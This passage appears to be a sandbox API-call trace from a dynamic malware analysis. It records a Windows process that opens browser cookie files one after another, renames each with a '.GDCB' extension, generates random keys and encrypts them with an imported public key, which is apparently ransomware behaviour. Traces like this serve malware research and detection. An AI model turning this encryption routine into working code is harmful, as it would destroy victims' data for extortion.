(normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4mn240wn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.818] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.819] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.820] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xa2, lpOverlapped=0x0) returned 1 [0187.829] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.834] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4MN240WN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4mn240wn.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4MN240WN.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4mn240wn.txt.gdcb")) returned 1 [0187.845] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.848] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.848] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.848] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.848] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0187.849] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.850] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.850] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.850] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.851] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.853] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035f10) returned 1 [0187.853] CryptGetKeyParam (in: hKey=0x5035f10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.853] CryptEncrypt (in: hKey=0x5035f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.853] GetLastError () returned 0x0 [0187.853] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.853] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.857] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035f50) returned 1 [0187.857] CryptGetKeyParam (in: hKey=0x5035f50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.857] CryptEncrypt (in: hKey=0x5035f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.857] GetLastError () returned 0x0 [0187.857] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.857] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4O6583I0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4o6583i0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.860] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.861] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.862] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x236, lpOverlapped=0x0) returned 1 [0187.871] VirtualAlloc (lpAddress=0x0, dwSize=0x240, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.877] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4O6583I0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4o6583i0.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4O6583I0.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4o6583i0.txt.gdcb")) returned 1 [0187.882] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.885] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.885] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.885] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.885] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.886] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.887] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.887] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.887] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.887] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.889] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035b50) returned 1 [0187.889] CryptGetKeyParam (in: hKey=0x5035b50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.889] CryptEncrypt (in: hKey=0x5035b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.890] GetLastError () returned 0x0 [0187.890] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.890] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.891] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035c50) returned 1 [0187.891] CryptGetKeyParam (in: hKey=0x5035c50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.892] CryptEncrypt (in: hKey=0x5035c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.892] GetLastError () returned 0x0 [0187.892] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.892] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4YWCPPXN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4ywcppxn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.894] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.895] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.896] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x1f3, lpOverlapped=0x0) returned 1 [0187.905] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.910] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4YWCPPXN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4ywcppxn.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4YWCPPXN.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4ywcppxn.txt.gdcb")) returned 1 [0187.916] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.917] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.919] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.919] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.919] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.921] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.922] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.922] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.922] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.922] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.925] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035d10) returned 1 [0187.925] CryptGetKeyParam (in: hKey=0x5035d10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.925] CryptEncrypt (in: hKey=0x5035d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.925] GetLastError () returned 0x0 [0187.925] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.925] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.927] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035f90) returned 1 [0187.927] CryptGetKeyParam (in: hKey=0x5035f90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.927] CryptEncrypt (in: hKey=0x5035f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.927] GetLastError () returned 0x0 [0187.927] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.927] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4Z6UDYLY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4z6udyly.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.929] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.931] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.932] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5a, lpOverlapped=0x0) returned 1 [0187.943] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.947] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4Z6UDYLY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4z6udyly.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4Z6UDYLY.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4z6udyly.txt.gdcb")) returned 1 [0187.954] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.955] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.956] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.956] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.956] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.956] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.958] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.958] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.958] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.959] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.961] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035a10) returned 1 [0187.961] CryptGetKeyParam (in: hKey=0x5035a10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.961] CryptEncrypt (in: hKey=0x5035a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.961] GetLastError () returned 0x0 [0187.961] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.961] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.963] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035ed0) returned 1 [0187.963] CryptGetKeyParam (in: hKey=0x5035ed0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.963] CryptEncrypt (in: hKey=0x5035ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.963] GetLastError () returned 0x0 [0187.963] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AFMRGRY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5afmrgry.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.965] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.967] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.968] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xc8, lpOverlapped=0x0) returned 1 [0187.977] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.982] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AFMRGRY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5afmrgry.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5AFMRGRY.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5afmrgry.txt.gdcb")) returned 1 [0187.988] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.991] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.991] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.991] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.991] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0187.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.993] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.993] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.994] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0187.996] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035a50) returned 1 [0187.996] CryptGetKeyParam (in: hKey=0x5035a50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.996] CryptEncrypt (in: hKey=0x5035a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.996] GetLastError () returned 0x0 [0187.996] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.996] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.998] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035d50) returned 1 [0187.999] CryptGetKeyParam (in: hKey=0x5035d50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.999] CryptEncrypt (in: hKey=0x5035d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.999] GetLastError () returned 0x0 [0187.999] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.999] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\5ARQYMIV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\5arqymiv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.001] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.003] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.004] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x329, lpOverlapped=0x0) returned 1 [0188.015] VirtualAlloc (lpAddress=0x0, dwSize=0x330, 